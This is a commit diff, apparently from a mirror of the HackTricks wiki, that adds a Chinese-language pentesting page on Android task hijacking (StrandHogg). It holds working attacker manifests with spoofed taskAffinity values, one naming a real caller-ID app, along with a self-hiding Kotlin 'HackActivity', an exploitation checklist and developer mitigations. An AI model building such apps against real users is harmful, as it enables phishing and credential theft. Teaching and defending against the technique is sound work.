mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h
This commit is contained in:
parent
e3228f2e5f
commit
cdd150738f
@ -1,4 +1,4 @@
|
||||
# Android Task Hijacking
|
||||
# Android 任务劫持
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -15,39 +15,89 @@
|
||||
|
||||
.png>)
|
||||
|
||||
---
|
||||
|
||||
## 任务亲和力攻击
|
||||
|
||||
### 任务亲和力和启动模式概述
|
||||
`taskAffinity` 告诉 Android 一个 `Activity` *更倾向于* 属于哪个任务。当两个活动共享相同的亲和力时,**Android 允许将它们合并到同一个后栈中,即使它们来自不同的 APK**。
|
||||
|
||||
在 Android 应用中,**任务亲和力** 指定活动的首选任务,通常与应用的包名对齐。这个设置在制作证明概念 (PoC) 应用以演示攻击时至关重要。
|
||||
如果攻击者能够将恶意活动放置在该栈的 **根** 位置,每次受害者打开合法应用程序时,恶意 UI 将是用户看到的第一件事——非常适合网络钓鱼或滥用权限请求。
|
||||
|
||||
### 启动模式
|
||||
攻击面比许多开发者想象的要广,因为 **每个活动自动继承与应用程序包名称相等的亲和力**(除非开发者设置 `android:taskAffinity=""`)。因此 *不采取任何行动* 已经使应用在 Android 11 之前的版本中暴露于任务劫持的风险。
|
||||
|
||||
`launchMode` 属性指导活动实例在任务中的处理。**singleTask** 模式对该攻击至关重要,根据现有活动实例和任务亲和力匹配情况,规定了三种场景。该漏洞利用攻击者的应用模仿目标应用的任务亲和力,误导 Android 系统启动攻击者的应用而不是预期的目标。
|
||||
### 经典的 "singleTask / StrandHogg" 场景
|
||||
|
||||
### 详细攻击步骤
|
||||
1. 攻击者声明一个活动:
|
||||
```xml
|
||||
<activity android:name=".EvilActivity"
|
||||
android:exported="true"
|
||||
android:taskAffinity="com.victim.package"
|
||||
android:launchMode="singleTask" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
2. 恶意应用程序启动一次,以便任务(具有伪造的亲和力)存在于最近的任务中。
|
||||
3. 当用户稍后打开真实应用程序时,Android 发现已经有一个任务,其 **根亲和力与包匹配**,并将该任务带到前台。
|
||||
4. 攻击者的 UI 首先显示。
|
||||
|
||||
1. **恶意应用安装**:受害者在其设备上安装攻击者的应用。
|
||||
2. **初始激活**:受害者首次打开恶意应用,为攻击做好准备。
|
||||
3. **目标应用启动尝试**:受害者尝试打开目标应用。
|
||||
4. **劫持执行**:在某个时刻,应用尝试打开 **singleTask** 视图。由于任务亲和力匹配,恶意应用被启动,取代目标应用。
|
||||
5. **欺骗**:恶意应用展示一个假登录界面,类似于目标应用,欺骗用户输入敏感信息。
|
||||
### 默认亲和力(无 `singleTask`)变体 – 来电显示案例研究
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,为了使此攻击有效,易受攻击的视图 **不需要将 exported 设置为 true**,也不需要是主活动。
|
||||
在 **来电显示 (caller.id.phone.number.block)** 应用程序中报告的漏洞表明,该攻击 *也* 适用于默认的 `standard` 启动模式:
|
||||
|
||||
有关此攻击的实际实现,请参阅 GitHub 上的 Task Hijacking Strandhogg 存储库:[Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg)。
|
||||
1. 攻击者应用程序创建一个假根活动并立即隐藏自己:
|
||||
```kotlin
|
||||
class HackActivity : AppCompatActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
moveTaskToBack(true) // 保持任务在最近任务中但不在视野中
|
||||
}
|
||||
}
|
||||
```
|
||||
2. 清单只需将受害者包复制到 `taskAffinity` 中:
|
||||
```xml
|
||||
<activity android:name=".HackActivity"
|
||||
android:exported="true"
|
||||
android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
3. 一旦用户安装并打开恶意应用程序 **一次**,一个亲和力等于受害者包的任务就存在(但在后台)。
|
||||
4. 当真实的来电显示应用程序启动时,Android 重新使用该任务并将 `HackActivity` 带到前台 → 网络钓鱼窗口/权限滥用。
|
||||
|
||||
### 预防措施
|
||||
> 注意:从 **Android 11 (API 30)** 开始,系统默认不将不属于同一 UID 的两个包放入同一任务,从而减轻了这一特定变体。旧版本仍然易受攻击。
|
||||
|
||||
为了防止此类攻击,开发人员可以:
|
||||
- 将 **`**taskAffinity`** 的 **singleTask** 视图设置为空字符串 (`android:taskAffinity=""`)
|
||||
- 选择 **`singleInstance`** 启动模式,确保其应用与其他应用隔离。
|
||||
- 自定义 **`onBackPressed()`** 函数,提供额外的保护以防止任务劫持。
|
||||
---
|
||||
|
||||
## **参考文献**
|
||||
## 检测与利用清单
|
||||
|
||||
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
1. 从目标 APK 中提取 `AndroidManifest.xml`,检查每个 `<activity>`(或全局 `<application>` 元素)是否包含 `android:taskAffinity=""`(空) **或** 自定义值。
|
||||
2. 如果没有,制作一个恶意应用:
|
||||
- `android:taskAffinity` = 受害者包名。
|
||||
- 提供一个 `MAIN/LAUNCHER` 意图,以便用户可以打开一次。
|
||||
- 可选地调用 `moveTaskToBack(true)` 以立即隐藏。
|
||||
3. 让受害者打开他们的合法应用程序 → 劫持。
|
||||
|
||||
## 缓解
|
||||
|
||||
开发者应:
|
||||
|
||||
* 在 `<application>` 级别明确设置 `android:taskAffinity=""`(推荐) **或** 为每个活动提供一个唯一的、私有的亲和力。
|
||||
* 对于高度敏感的屏幕,将上述内容与 `android:launchMode="singleInstance"` 或现代 [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) 保护结合使用。
|
||||
* 升级应用的 `targetSdkVersion` 并强制执行 **Android 11** 行为变化,其中任务默认不跨包共享。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
|
||||
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user